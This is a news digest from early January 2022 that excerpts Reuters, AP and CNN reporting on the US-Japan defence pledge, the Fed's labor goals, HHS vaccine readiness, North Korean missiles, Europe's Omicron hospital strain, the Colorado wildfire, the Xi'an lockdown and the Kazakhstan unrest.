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## Events, Opportunities

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HEADLINE	01/07 Japan, US defense pledge against China
SOURCE	<a href="https://www.reuters.com/world/asia-pacific/us-japan-launch-new-defense-research-development-agreement-2022-01-06/">https://www.reuters.com/world/asia-pacific/us-japan-launch-new-defense-research-development-agreement-2022-01-06/</a>

TOKYO/WASHINGTON, Jan 7 (Reuters) - The United States and Japan on Friday voiced strong concern about China's growing might in unambiguous terms and pledged to work together against attempts to destabilise the region.

The comments from the two allies, in a joint statement that followed a virtual meeting of their foreign and defence ministers, highlight how deepening alarm about China - and growing tension over Taiwan - have put Japan's security role in focus.

The ministers expressed concerns that China's efforts "to undermine the rules-based order" presented "political, economic, military and technological challenges to the region and the world", according to their statement.

"They resolved to work together to deter and, if necessary, respond to destabilising activities in the region," it said.

The ministers also said they had "serious and ongoing concerns" about human rights in China's Xinjiang and Hong Kong regions and stressed the importance of peace and stability in the Taiwan Strait.

In a separate virtual summit on Thursday, [Japan and Australia](#) signed a defence cooperation agreement.

China lodged stern representations with all three countries.

"We deplore and firmly oppose the gross interference in China's internal affairs by the U.S., Japan and Australia and the fabrication of false information to smear China and undermine the solidarity and mutual trust of countries in the region," foreign ministry spokesman Wang Wenbin told a daily briefing in Beijing.

Pacifist Japan has close economic ties to China but is increasingly concerned that it could move against democratic [Taiwan](#), which it claims as part of China.

"This is clearly a combined message reflecting a common concern, not a case of U.S. arm-twisting to get Japan to sign onto vague euphemisms," said Daniel Russel, who served as the top U.S. diplomat for Asia under president Barack Obama and is now with the Asia Society Policy Institute.

"In particular, the expression of joint resolve to respond if necessary to destabilising activities comes across as a powerful expression of alliance solidarity and determination."

Before the talks, U.S. Secretary of State Antony Blinken said Washington and Tokyo planned a new defence deal to counter emerging threats, including hypersonics and space-based capabilities.

#### NEW TOOLS

He said the alliance "must not only [strengthen the tools we have](#), but also develop new ones", citing Russia's military buildup against Ukraine, Beijing's "provocative" actions over Taiwan and North Korea's latest missile launch. North Korea fired a ["hypersonic missile"](#) this week that successfully hit a target, its state news agency said.

Russia, China and the United States are also racing to build hypersonic weapons, whose extreme speed and manoeuvrability make them hard to spot and block with interceptor missiles.

As its neighbours test hypersonic missiles, Japan has been working on electromagnetic "railgun" technology to target them.

"We need to pursue all available means including cooperation with the United States to strengthen comprehensive missile defence capabilities," Japan's defence minister, Nobuo Kishi, told reporters.

Tokyo also explained its plan to revise the national security strategy to fundamentally boost defence capabilities, Foreign Minister Yoshimasa Hayashi said after the meeting.

	<p>Prime Minister Fumio Kishida in October promised to revise Japan's security strategy to consider "all options including possession of so-called enemy-strike capabilities".</p> <p>Kishida's government has approved <a href="#">record defence spending</a>, with a 10th straight annual increase in 2022.</p> <p>Jeffrey Hornung, an expert in Japanese security policy at the Rand Corporation, a U.S.-backed think tank, said while Japan's options for using force are limited, it might deem a Taiwan emergency as threatening its own survival.</p> <p>"There is no coded messaging here," Hornung said.</p> <p>"China is the challenge and they said as much, then detailed all the ways the alliance is determined to work to counter its destabilising activities."</p>
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HEADLINE	<b>01/06 Fed's 'maximum employment' is here</b>
SOURCE	<a href="https://www.reuters.com/markets/us/feds-maximum-employment-is-here-not-everyone-has-benefited-2022-01-07/">https://www.reuters.com/markets/us/feds-maximum-employment-is-here-not-everyone-has-benefited-2022-01-07/</a>
GIST	<p>WASHINGTON, Jan 7 (Reuters) - Since adopting a new approach to U.S. monetary policy weighted towards ensuring a strong labor market, Federal Reserve officials have been reluctant to define key terms like "maximum employment," arguing they did not want to prejudge how many jobs the economy could produce but feel their way toward that end.</p> <p>They are hesitant no longer.</p> <p>In two detailed paragraphs in the minutes of their Dec. 14-15 policy meeting, U.S. central bank officials declared the process all but complete. Over the course of 344 words, they ticked off a range of reasons for why the job market is "very tight" already and poised for "rapid progress" in covering any distance left to their maximum employment goal.</p> <p>That would clear the way for the Fed to hike interest rates after pledging not to do so until maximum employment was assured.</p> <p>But in the context of the discussion underway since the start of the coronavirus pandemic, when more than 22 million jobs disappeared in a collapse that fell heaviest on lower-income workers and racial and ethnic minorities, the minutes also showed the limits of how far the Fed is willing to go in ensuring the jobs recovery is "broad and inclusive" as well as complete.</p> <p>Wages are rising, unemployment rates are falling across demographic groups, and the difficulties that remain in the job market, Fed officials said, had less to do with monetary policy and more to do with ongoing disruptions from COVID-19 - factors like school reopenings, child care and health conditions - that it cannot influence. Workers may take longer to be willing to take jobs again, they acknowledged, than had been expected.</p> <p><b>GAPS REMAIN</b></p> <p>Left unsaid was the fact that through November, some 3.5 million fewer people were working than in February of 2020, just before the pandemic, as measured by the Labor Department's monthly survey of households, a gap Fed Chair Jerome Powell had all but promised would be erased. And the shortfalls are disproportionate among women and among the less educated. Data due out Friday will provide an updated view through December.</p> <p>The jobs recovery has also not been even geographically. Only about a dozen states - clustered in the Southeast and the Mountain West - have regained pre-pandemic levels of employment.</p>

In the Northeast and through much of the industrial Midwest, employment in some states remains 5% or more below pre-pandemic peaks.

### WHY THE RUSH?

The Fed's heightened emphasis on jobs, adopted in August of 2020, was crafted at a moment when inflation was nonexistent - and had been for most of the previous decade. Officials were more convinced, at that point, that the central bank had erred in the past by not encouraging more job growth and instead had often raised interest rates even without a clear inflation risk.

The Fed was determined not to make that mistake again. But when inflation took off last year it became a potential constraint on the central bank's ability to let the economy run unfettered.

Keeping prices under control is a core Fed objective. Now, even at the risk of slowing economic growth and hiring, the central bank feels it needs to be ready to tighten financial conditions or risk a worse and more persistent outbreak of price increases, an outcome that could prove equally harmful to the lower-income households disproportionately affected by pandemic-related job losses.

Just as the surge in inflation surprised the Fed, so did the behavior of workers, who did not flock into the record number of open positions at the pace expected.

The U.S. labor force participation rate is only slowly climbing back towards its pre-pandemic level, and some Fed officials are skeptical it will ever fully recover. St. Louis Fed President James Bullard, for one, argues the participation rate should no longer be seen as unusually low given its prevailing downward trend over the previous two decades.

Moreover, there are now more than 1.5 jobs for every person declaring themselves unemployed - a record.

It is data like that which has brought the Fed close to declaring its work on the job front done. Though the remaining gaps are notable, even those who have followed the labor debate closest and pushed the central bank to be more aggressive on employment say officials may have a point.

If the job market in some parts of the country remains out of line, for example, there is not much Fed policy can do about it, and likewise if the virus is keeping workers reluctant to go back to their jobs.

"This has been a strange enough and big enough shock that they have to be more flexible," said Josh Bivens, research director at the Economic Policy Institute. While Bivens said the Fed's unwillingness to run a "hot" economy during the sluggish recovery from the 2007-2009 financial crisis and recession was "infuriating," he agreed this time is different.

"I don't think they are foreclosing the possibility that lots of jobs could come back," Bivens said. "It is not the case, as in 2017, that all the risks are on one side. I always think inflation risk is overdone, but it is not zero anymore."

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HEADLINE	01/07 HHS unprepared for lead vaccine role?
SOURCE	<a href="https://www.reuters.com/world/us/exclusive-congressional-watchdog-warns-us-health-agency-unprepared-take-over-2022-01-07/">https://www.reuters.com/world/us/exclusive-congressional-watchdog-warns-us-health-agency-unprepared-take-over-2022-01-07/</a>
GIST	WASHINGTON, Jan 7 (Reuters) - The U.S. Department of Health and Human Services (HHS) appears unprepared to assume full responsibility for the nation's COVID-19 vaccine program, including activities currently managed by the Pentagon, according to a draft government watchdog report reviewed by Reuters.

The report cites a failure to ensure HHS has enough staff or a clear timeline for taking over those additional responsibilities.

The COVID-19 vaccine program, dubbed "Operation Warp Speed," by the Trump administration in May 2020, involved hundreds of officials from multiple agencies.

The program has invested more than \$30 billion to develop, manufacture and purchase vaccines, including from Moderna Inc (MRNA.O) and Pfizer Inc (PFE.N) and German partner BioNTech SE that have been used to inoculate nearly 200 million Americans, as well as shots that have not been authorized for U.S. use.

It continues to oversee approval and funding of other potential COVID-19 vaccines and treatments.

In May 2021, the Biden administration ordered HHS to begin assuming responsibilities of the program shared with the Department of Defense (DOD) by the end of 2021, according to the report by Congress' auditing agency, the Government Accountability Office (GAO).

The GAO, however, said "it is unclear" whether HHS was prepared to take over the program given that a majority of the Pentagon's current responsibilities - including coordinating vaccine distribution, safeguarding the doses, and offering legal advice to federal agencies involved in the effort - had not been transferred to HHS by late last year.

"Without fully ensuring HHS readiness, HHS and DOD face an increased risk of interruptions in their remaining work, such as addressing ongoing vaccine needs for boosters or for any emerging COVID-19 variants," the agency wrote.

The report found HHS had not ensured "it has sufficient workforce capacity" nor arranged "a schedule to manage the remaining vaccine development, manufacturing and distribution activities," risking a loss of capabilities.

GAO, an independent agency tasked by Congress to audit how federal programs are managed, declined to comment on the draft. The agency prepared the report at the request of the House of Representatives' COVID subcommittee and is expected to publish it soon.

Questions about HHS' ability to fully take over vaccine and therapeutic efforts comes as the Biden administration grapples with a record surge in COVID-19 due to the rapidly spreading Omicron variant that is disrupting returns to schools and businesses after the winter holidays.

An HHS spokesperson said the "long-planned" transition had been "successfully" completed on Jan. 1.

"Institutionalizing these functions within HHS ensures we are able to build on the progress to date, retain expertise and skills (including a number of DOD employees that transferred to HHS), and continue providing the necessary tools to the American people to respond to the COVID-19 pandemic," the spokesperson said. The spokesperson declined to discuss the extent to which the Pentagon remains involved in the program.

#### UNPRECEDENTED MISSION

Before COVID-19, HHS's office of the assistant secretary for preparedness and response (ASPR) was set up to oversee pandemic response. The Trump administration relied heavily on the Pentagon to help with the unprecedented task of producing, purchasing and distributing vaccines nationwide in the months following emergence of the new and deadly coronavirus.

As of last September, DOD had assigned 76 officials from various branches of the military to work on the program, GAO said.

A Pentagon spokesperson told Reuters "HHS has assumed the lead for the COVID-19 vaccine and therapeutic mission," adding that DOD continues to award COVID contracts for medical supplies in conjunction with HHS and is "continuing to provide limited on-the-job training in a few areas to ensure the HHS workforce has all the tools and background information required to ensure the operation is successful."

The Pentagon said it is no longer helping HHS with vaccine transportation.

One top federal official with knowledge of the program's operations said even if HHS has not fully assumed all responsibility, the Pentagon will help ensure a smooth transition.

The official, who was not authorized to speak about it and asked to remain anonymous, called Dec. 31, "an aspirational deadline."

"If HHS is really not ready to assume all of the responsibilities, the government is not going to just drop the ball," the official said.

While the Pentagon has agreed to help select contractors, the administration has not officially settled on any other shared responsibilities and "therefore it is unclear what that support may entail or for how long," the GAO said.

Even with Pentagon support, a Reuters examination revealed problems with oversight of the contracts for COVID-19 vaccines, therapeutics, tests and other medical products.

Less than 20% of the companies awarded contracts were experienced manufacturers with a clean FDA record for their U.S. plants in the two years prior, and four of every five either had no U.S. manufacturing experience, poor domestic inspection results or serious recalls before their awards, Reuters found.

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HEADLINE	01/07 SKorea disputes hypersonic missile claim
SOURCE	<a href="https://apnews.com/article/technology-seoul-south-korea-north-korea-pyongyang-7d9438c6c58680ea75ffc72ea1589600">https://apnews.com/article/technology-seoul-south-korea-north-korea-pyongyang-7d9438c6c58680ea75ffc72ea1589600</a>
GIST	<p>SEOUL, South Korea (AP) — South Korea dismissed North Korea's claim to have recently launched a hypersonic missile as an exaggeration on Friday, saying it was a normal ballistic missile that could be intercepted.</p> <p>The assessment is certain to anger North Korea. South Korea has previously avoided publicly disputing North Korea's weapons tests, apparently so as not to aggravate relations.</p> <p>South Korea's Defense Ministry said it believes North Korea hasn't acquired the technologies needed to launch a hypersonic weapon.</p> <p>It said in a report that what North Korea fired on Wednesday was a type of ballistic missile that was displayed in October during a weapons exhibition in Pyongyang, its capital. It said South Korean and U.S. forces could shoot it down.</p> <p>The ministry said North Korea's claim that the weapon flew 700 kilometers (435 miles) and maneuvered laterally appeared to be an exaggeration. Ministry officials said the claim was likely aimed at a domestic audience to boost public confidence in its missile program.</p> <p>North Korean leader Kim Jong Un has been calling for greater unity and improved weapons development in the face of pandemic-related difficulties. He has refused to return to disarmament talks with Washington and Seoul while maintaining tough anti-virus restrictions.</p>



Wednesday's launch was North Korea's second claimed hypersonic missile test. Its state media said the missile made a 120-kilometer (75-mile) lateral movement before precisely hitting a target 700 kilometers away, and that the test confirmed the weapon's flight control and stability.

Hypersonic weapons, which fly at speeds in excess of Mach 5, or five times the speed of sound, could pose a crucial challenge to missile defense systems because of their speed and maneuverability. The weapon was on a wish-list of sophisticated military assets that Kim unveiled early last year along with multi-warhead missiles, spy satellites, solid-fueled long-range missiles and underwater-launched nuclear missiles.

In September, North Korea said it had conducted its first flight test of a hypersonic missile.

The South Korean Defense Ministry report said Wednesday's launch didn't show evidence of any technological progress since the September test. South Korea's military earlier said the missile tested in September was at an early stage of development and that the country would need considerable time to deploy it operationally.

The ministry said South Korean missiles are superior to North Korea's in terms of the destructive power of their warheads and precision guidance.

Photos show that the upper parts of the missiles launched in September and this week have different shapes. That suggests that North Korea might have tested two versions of warheads for a missile still under development or is actually developing two different types of missiles, according to Lee Choon Geun, honorary research fellow at South Korea's Science and Technology Policy Institute.

South Korea's current liberal government has been pushing hard to improve ties with North Korea. But its appeasement policy has made little progress since a broader nuclear diplomacy between Pyongyang and Washington collapsed in 2019. South Korea is to elect a new president in March.

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HEADLINE	01/07 Europe scrambles to shore up health care
SOURCE	<a href="https://apnews.com/article/coronavirus-pandemic-health-europe-pandemics-london-bab7da544a7cbbcf48a0586d61c91e0">https://apnews.com/article/coronavirus-pandemic-health-europe-pandemics-london-bab7da544a7cbbcf48a0586d61c91e0</a>
GIST	<p>THE HAGUE, Netherlands (AP) — Troops have been deployed to London hospitals. Health care workers infected with COVID-19 are treating patients in France. The Netherlands is under a lockdown, and tented field hospitals have gone up in Sicily.</p> <p>Nations across Europe are scrambling to prop up health systems strained by staff shortages blamed on the new, highly transmissible omicron variant of the coronavirus, which is sending a wave of infections crashing over the continent.</p> <p>“Omicron means more patients to treat and fewer staff to treat them,” Stephen Powis, national medical director at Britain’s National Health Service, said Friday.</p> <p>The World Health Organization said Thursday that a record 9.5 million COVID-19 cases were tallied globally over the last week, a 71% increase from the previous 7-day period. However, the number of weekly recorded deaths declined.</p> <p>While omicron seems less severe than the delta variant it has swiftly usurped, especially among people who have been vaccinated, WHO Director-General Tedros Adhanom Ghebreyesus cautioned against treating it lightly.</p> <p>“Just like previous variants, omicron is hospitalizing people, and it’s killing people,” he said. “In fact, the tsunami of cases is so huge and quick that it is overwhelming health systems around the world.”</p>

That was evident Friday in London, where some 200 military personnel, including 40 medics, were being deployed to hospitals struggling to deliver vital care amid “exceptional” staff shortages blamed on the number of workers who are ill or isolating because of COVID-19.

A total of 39,142 NHS staff members at hospital trusts in England were absent for COVID-19 reasons on Jan. 2, up 59% from the previous week, according to figures released by the National Health Service in England.

The U.K. also has changed its coronavirus testing rules in a bid to reduce the amount of time people who test positive have to isolate.

Germany’s leaders were set to consider possible new restrictions and changes to quarantine rules on Friday.

French authorities this week began allowing health care workers who are infected with the coronavirus but have few or no symptoms to keep treating patients rather than self-isolate.

France announced a staggering 332,252 daily virus cases on Wednesday, Europe’s highest-ever single-day confirmed infection count.

The Netherlands has been in a strict lockdown for weeks, a move designed to ease pressure on overburdened hospitals and to buy time for a slow-starting vaccination booster campaign to gather pace. Despite the lockdown, infections hit record numbers in the country this week.

In Palermo, Sicily, auxiliary facilities were set up in front of three hospitals to relieve the pressure on emergency rooms and to allow ambulance crews to get patients into beds instead of waiting in the parking lot.

Sicily’s reported COVID-19 caseload doubled in recent days, from around 6,000 a day to 14,000 on Thursday. The Italian island region has just under 1,000 people hospitalized with the virus. But Sicily’s hospital system, like those in much of southern Italy, is far less developed than northern facilities and is more easily overwhelmed.

The hospital system already is swamped in the southern Italian city of Naples. The head of the local hospital doctors’ association, Bruno Zuccarelli, appealed for the government to impose “drastic measures” so hospitals don’t have to resort to deciding which patients to treat and which to turn away.

“The situation is critical, much worse than what it appears,” Zuccarelli said in a statement. All of the city’s medical personnel, from ICU nurses to ambulance drivers, were under “unmanageable stress,” he said.

In the U.K., which reported nearly 180,000 new cases on Thursday alone, omicron’s advance has forced many workers to stay home and prompted the government to send in the troops.

“The men and women of our armed forces are once again stepping up to support their dedicated colleagues in the NHS as they work hand-in-hand to protect the nation from COVID-19,” Defense Secretary Ben Wallace said.

Health service leaders said the military deployment highlighted how the country is battling to stay on top of the pandemic.

“We have never known this level of staff absence before,” Chaand Nagpaul, council chairman of the British Medical Association, told Sky News.

Across England, hospitals have declared “critical incidents” due to staff shortages and postponed planned surgeries.



	<p>“This is not normal, and therefore, the government does need to recognize this is clearly an NHS under extreme pressure, and the living reality sadly for thousands of patients is that they’re suffering the consequences of such pressures and also staff absence,” Nagpaul said.</p> <p>Air Commodore John Lyle told the BBC that the military remains in discussion about providing support for the NHS in other parts of the country besides the capital.</p> <p>“We can’t really forecast too far ahead, but certainly, throughout this current surge, we know that it’s particularly difficult in London at the minute but we are aware that this is impacting all across the United Kingdom,” he said.</p> <p>Nagpaul urged action to bring down infections and better protect health care workers against the omicron variant, saying it was important that “the government doesn’t just wait to ride this out, because every day people are suffering.”</p>
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HEADLINE	<b>01/06 Colorado wildfire caused \$513M in damage</b>
SOURCE	<a href="https://apnews.com/article/wildfires-business-fires-environment-and-nature-colorado-34b906545baebf747e3b2190bfc1a237">https://apnews.com/article/wildfires-business-fires-environment-and-nature-colorado-34b906545baebf747e3b2190bfc1a237</a>
GIST	<p>LOUISVILLE, Colo. (AP) — Last week’s Colorado wildfire caused at least \$513 million in damage and destroyed nearly 1,100 homes and structures, officials said Thursday as they updated the toll of property lost in the most destructive wildfire in state history.</p> <p>Boulder County released the new totals after further assessing the suburban area located between Denver and Boulder where entire neighborhoods were charred. It’s the first estimate of economic damage for the Dec. 30 blaze.</p> <p>Authorities previously estimated that at least 991 homes and other buildings were destroyed. Two people are missing, though officials have found partial human remains at one location.</p> <p>President Joe Biden was scheduled to survey the damage on Friday.</p> <p>Investigators are still trying to determine what caused the wind-whipped wildfire, which forced thousands to flee on very little notice. The inferno erupted following months of drought and fed on bone-dry grassland surrounding fast-growing development in the area near the Rocky Mountain foothills.</p> <p>Experts say similar events will become more common <a href="#">as climate change warms the planet and suburbs grow in fire-prone areas</a>. Ninety percent of Boulder County is in severe or extreme drought, and it hadn’t seen substantial rainfall since mid-summer.</p> <p>The fire, which spanned 9.4 square miles (24 square kilometers), ranks as the most destructive in state history in terms of homes and other structures destroyed and damaged. A 2013 fire outside Colorado Springs destroyed 489 homes and killed two people.</p> <p>In 2020, Colorado also suffered its three largest wildfires in recorded history as a prolonged drought holds its grip on the Western U.S.</p> <p>The new totals include destroyed barns, sheds and other outbuildings, but the vast majority were residences, Boulder County officials said. The worst damage was in and around Louisville and Superior, neighboring towns about 20 miles (32 kilometers) northwest of Denver with a combined population of 34,000.</p> <p>Seven commercial structures were destroyed and 30 damaged, the county said. Losses to commercial buildings were still being calculated.</p>

Federal and state investigators have interviewed dozens of people as they work to determine what started the fire on a day when winds surpassed 100 mph (160 mph). Their efforts are focused on an area near Boulder where a passer-by captured video of a burning shed on the day the fire began.

Disaster experts say the number of possible casualties is remarkably low given how fast the fire ripped through subdivisions and [especially considering a public alert system did not reach everyone](#). Boulder County officials said Thursday that emergency alerts were sent to more than 24,000 contacts. Some 35,000 people fled their homes.

One of the destroyed houses was owned by Bill Stephens, the pastor at Ascent Community Church in Louisville, who said Thursday that at least 17 members of his congregation also lost their homes in the fire. Stephens was at a disaster assistance center picking up a \$500 check from the Red Cross to help buy necessities.

The church itself, a renovated former Sam's Club building, survived the fire but suffered extensive smoke damage. Church volunteers spent the day removing holiday decorations that reeked of smoke. Industrial fans and filters churned throughout the sanctuary to help remove the smell.

Although the congregation won't be able to hold services at the church for several weeks, Stephens said the wildfire will not stop them from worshiping. They'll hold Sunday services at a local hotel until the church is cleaned up and ready to reopen.

"I'm trying my best to take care of the congregation. At the same time, we're dealing with the fact that our own house is gone," Stephens said. "It's just a community that's all been rocked by this."

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HEADLINE	<b>01/07 China uncompromising top-down govt.</b>
SOURCE	<a href="https://www.cnn.com/2022/01/07/china/china-xian-outbreak-analysis-mic-intl-hnk/index.html">https://www.cnn.com/2022/01/07/china/china-xian-outbreak-analysis-mic-intl-hnk/index.html</a>
GIST	<p><b>Hong Kong (CNN)</b>As <a href="#">harrowing stories</a> continue to emerge from within the locked-down city of Xi'an, a wave of disbelief has washed over the Chinese public: why are such tragedies still unfolding two years into the pandemic, in a major metropolis of 13 million people?</p> <p>Xi'an was placed under strict lockdown orders on December 23 in a drastic bid to contain the spread of a fast-growing Covid cluster. But in the days and weeks since, a steady stream of complaints about food shortages, as well as heartbreaking scenes of critical patients -- including heavily pregnant women -- being denied medical care have shocked the nation.</p> <p>Many were reminded of the traumatic early days of the pandemic in Wuhan, the original epicenter where 11 million residents were confined to their homes for months in 2020.</p> <p>Back then, Wuhan was blighted by <a href="#">extreme shortages in medical resources and soaring food prices</a>, but the chaos and frustration eventually ended -- and the outbreak brought under control.</p> <p>China has since relied on a combination of mass testing, snap lockdowns and extensive quarantine measures to stamp out renewed flare-ups. This zero-Covid strategy has successfully protected the country against the worst of the pandemic, potentially saving millions of lives and winning overwhelming public support.</p> <p>To date, China has only officially reported <a href="#">4,636 Covid related deaths</a>, compared with <a href="#">829,740</a> in the United States and <a href="#">173,248</a> in the United Kingdom. (Though some scientists have pointed out the differences in methodology adopted by each country to count Covid deaths.)</p> <p>The ruling Communist Party has held up that success as proof its one-party, authoritarian political model is superior to Western democracies, which have struggled to control their outbreaks.</p>

But by the same token, the tragedies unfolding in Xi'an also stem from the same top-down political system, which demands absolute loyalty, brooks no dissent and places the interests of the whole far above the rights of individuals.

With Beijing bent on achieving its zero-Covid goal, local officials often pledge to do "whatever it costs" to return cases to zero -- causing great disruption to daily life and at times even harming those they are supposed to protect.

"No one cares what you die of -- other than Covid-19," a user wrote on Chinese social media this week. Yanzhong Huang, senior fellow for global health at the Council on Foreign Relations, describes the phenomenon as "toxic politics."

"Over the past decades, public policy process -- in terms of agenda setting, policy formulation and implementation -- in China has continued to be top-down, non-participatory, impromptu and mobilizational," he said.

"That has facilitated the local leaders to impose those policy measures to society, which essentially is not in a position to negotiate with the state in policy-making and implementation."

In a way, Xi'an's dysfunction is not an exception. Complaints of disproportionately harsh measures abound during previous prolonged lockdowns in other comparatively smaller areas, from cities in the western region of Xinjiang to the southern border town of Ruili. But in Xi'an, such problems took place in a much more extreme form, on a much larger scale, and garnered much wider attention.

"People like to use Shanghai as a sort of reference point," Huang said, referring to the Chinese financial center widely praised for its cool-headed and targeted Covid response. "But they forgot that Shanghai is actually a rare case due to its relatively strong bureaucratic capacity."

"When the capacity is low, government officials are more likely to turn to heavy-handed, indiscriminate and even excessive measures that significantly raise the cost of implementing this (zero-Covid) strategy," he said, citing Xi'an as an example.

Over the past week, Xi'an authorities have faced a public outcry over draconian lockdown measures that prevented critical patients from urgent medical care. A heavily pregnant woman allegedly miscarried on New Year's Day after being denied entry by a hospital because she didn't have a valid Covid test. A young woman claimed she lost her father to a heart attack following much-delayed rescue, after they were turned down by hospitals for coming from a "medium-risk area" of the city.

In an [interview](#) with state-run news outlet The Paper, the woman who lost her father said she was determined to seek answers.

"The guard said he was doing his job; The nurse said she was doing her job; The hospital said it was doing its job. From the perspective of all the epidemic prevention and control requirements, nobody was at fault. So who does the problem lie with?" she asked.

To quell public fury, the Chinese Communist Party moved quickly to announce a flurry of punishments: hospital managers were suspended or removed from posts, while the city's key public health officials were issued disciplinary warnings.

At a news conference Thursday, Liu Shunzhi, the head of the Xi'an Municipal Health Commission, bowed and apologized to the woman who lost her child, as well as other patients who had problems accessing medical treatment.

And the upper echelon of the party weighed in too. Sun Chunlan, a Politburo member and vice premier overseeing China's Covid response, [stressed on Thursday](#) that public access to medical services "must not be denied under any excuse."

"We're deeply saddened and sorry to see such problems occur, which has exposed the sloppiness in prevention and control work, and the lesson is profound," Sun was quoted as saying by state media. "The original purpose of epidemic prevention and control is to keep people healthy and safeguard lives."

In blaming local officials for failing to do their job well, Sun brushed over a deeper root cause that drove Xi'an authorities to such extremes in implementing the lockdown -- namely the tremendous political pressure to achieve the central government's zero-Covid goal.

Across China, hundreds of local officials have been fired or punished for failing to contain Covid flare-ups in their localities. With the Lunar New Year and the Beijing Winter Olympics fast approaching, such pressure has only intensified.

Meanwhile, China's political system has become even more top-down under President Xi Jinping, who has demanded absolute loyalty from the vast bureaucracy. Local governments are required to always toe the line of the central party leadership and carry out its instructions to the letter. As a result, the room for healthy policy debates and flexibility in implementation has shrunk drastically.

Also rapidly shrinking is China's press freedom and civil society, which could have potentially alerted a crisis early on. Even during the initial outbreak in Wuhan, some relatively outspoken state media outlets published hard-hitting reports and successfully drew attention to problems on the ground, while citizens across China organized themselves to help those in need. But the space for independent reporting and social organization has been further squeezed over the past two years, as a wave of nationalism engulfs the country.

During previous outbreaks, when voices of criticism against harsh lockdown measures arose online, they were often met with admonishment to "think about the bigger picture," namely the country's zero-Covid ambitions.

But since the Xi'an lockdown, more are starting to reflect on the sacrifices individuals are asked to make -- and whether they are worth it.

Zhang Wenmin, a former investigative journalist who lives in Xi'an, publicly questioned the official slogan "we must do it at all cost."

"It may sound all well and good, but when zooming in more specifically on the individual level, as an ordinary person, we might want to ask: are we the 'we' here, or are we the 'cost' that must be paid?" she asked in a [widely shared article](#) recounting her first 10 days in lockdown, written under her pen name Jiang Xue.

"In this world, nobody is an island, the death of any individual is a death of all," she wrote. "The virus didn't take any lives in this city, but there is a real possibility that other things did."

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HEADLINE	<b>01/07 Kazakhstan leader: 'kill without warning'</b>
SOURCE	<a href="https://www.cnn.com/2022/01/07/asia/kazakhstan-kassym-jomart-tokayev-address-intl/index.html">https://www.cnn.com/2022/01/07/asia/kazakhstan-kassym-jomart-tokayev-address-intl/index.html</a>
GIST	<p>(CNN)Kazakhstan President Kassym-Jomart Tokayev has ordered security forces to "kill without warning" to crush <a href="#">the violent protests</a> that have paralyzed the <a href="#">former Soviet republic</a> and reportedly left dozens dead.</p> <p>In a defiant public address Friday, Tokayev said the unrest that began earlier this week as protests against rising fuel prices had been masterminded by well-trained "terrorist bandits" from both inside and outside the country. Kazakh state media reported Friday that 18 security personnel and 26 "armed criminals" had been killed in violent protests. More than 3,000 people have been detained.</p>

Tokayev said the situation had "stabilized" in Kazakhstan's largest city, Almaty, and that the "introduction of a state of emergency is yielding results."

"But terrorists continue to damage state and private property and use weapons against citizens," he said. "I gave the order to law enforcement agencies and the army to open fire to kill without warning."

The speech attempted to undermine the narrative that the demonstrations were a product of popular unrest that turned increasingly destructive and deadly. Tokayev said the violence was the product of a well-organized enemy, armed with sleeper cells carrying out "terrorist attacks" and "specialists trained in ideological sabotage, skillfully using disinformation or 'fakes' and capable of manipulating people's moods."

"Their actions showed the presence of a clear plan of attacks on military, administrative and social facilities in almost all areas, coherent coordination of actions, high combat readiness and bestial cruelty," Tokayev said. "They need to be destroyed."

However, several protesters who spoke to international media rejected that characterization.

"We are neither thugs nor terrorists," one woman said. "The only thing flourishing here is corruption"

Another man told CNN that people "want the truth."

"The government is rich, but all of these people here have loans to pay. We have our pain, and we want to share it," he said.

The demonstrations are the biggest challenge yet to the autocrat's rule, with initial public anger over a rise in fuel prices expanding to wider discontent with the government over corruption, living standards, poverty and unemployment in the oil-rich nation -- all of which has been exacerbated by the Covid-19 pandemic, experts say.

"This is a government that is highly detached from the reality of what happens on the ground. It's a country where there are no institutions through which to protest; the only route is on the streets," Paul Stronski of the Carnegie Endowment for International Peace told CNN.

Protesters in Almaty reportedly stormed the airport, forcibly entered government buildings, and set fire to the city's main administration office, local media reported. Dozens were reported killed and hundreds more injured in clashes there Thursday. There were also reports of a nationwide internet blackout and damage in other major cities, though Tokayev said internet was gradually being restored as the situation stabilizes. Authorities had previously declared a nationwide state of emergency with a curfew and movement restrictions until January 19, according to local media.

In his address, Tokayev highlighted that peaceful assembly was legalized in 2020 to promote democracy. However he said calls from abroad to find a peaceful solution were "nonsense."

"What kind of negotiations can there be with criminals, murderers?" Tokayev added.

Tokayev said a contingent of the Collective Security Treaty Organization (CSTO), a Russian-led military alliance made up of former Soviet states, has arrived in the country "for a short period of time" to carry out the functions of defense and support. The organization's secretary-general, Stanislav Zas, told Russia's state-run English language Sputnik news agency that about 3,600 CSTO personnel would be deployed to Kazakhstan to protect government and strategic facilities and help maintain public order. Russian state news agency TASS reported that a brigade of airborne forces had arrived in Kazakhstan.

Tokayev thanked the heads of CSTO countries for their support and expressed "special gratitude" to Russian President Vladimir Putin for "very promptly and, most importantly, in a friendly manner reacted warmly to my appeal" for a CSTO contingent.

The Kazakh leader also thanked Chinese President Xi Jinping, the presidents of the other CSTO member countries, the presidents of Uzbekistan, Turkey and "the leaders of the UN and other international organizations for their words of support."

Kazakhstan, the world's ninth-largest nation by landmass and Central Asia's the largest economy, has often boasted of its stability in a region that has seen its share of conflict.

Even before its independence in 1991, the country's political scene was dominated by one man -- Nursultan Nazarbayev. The longtime president and former Communist Party official ruled for almost three decades before stepping down in 2019. His autocratic method of governance sparked international concern and saw authorities harshly crack down on protests, jail critics and stifle press freedoms, according to global rights groups. Critics accused Nazarbayev of appointing family members and allies to key jobs in government and his family is believed to control much of the Kazakh economy, Reuters reported.

Nazarbayev was best known in the West for renouncing nuclear weaponry and his relocation of the capital to the futuristic city of Astana -- which was later renamed Nur-Sultan, after himself.

Amnesty International said the protests are "a direct consequence of the authorities' widespread repression of basic human rights."

"For years, the government has relentlessly persecuted peaceful dissent, leaving the Kazakhstani people in a state of agitation and despair," said Marie Struthers, Amnesty's director for Eastern Europe and Central Asia in a statement.

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HEADLINE	01/06 Moderna CEO pushes fourth Covid shot
SOURCE	<a href="https://www.cnbc.com/2022/01/06/moderna-ceo-says-people-may-need-fourth-covid-shot-as-efficacy-of-boosters-likely-to-decline-over-time.html">https://www.cnbc.com/2022/01/06/moderna-ceo-says-people-may-need-fourth-covid-shot-as-efficacy-of-boosters-likely-to-decline-over-time.html</a>
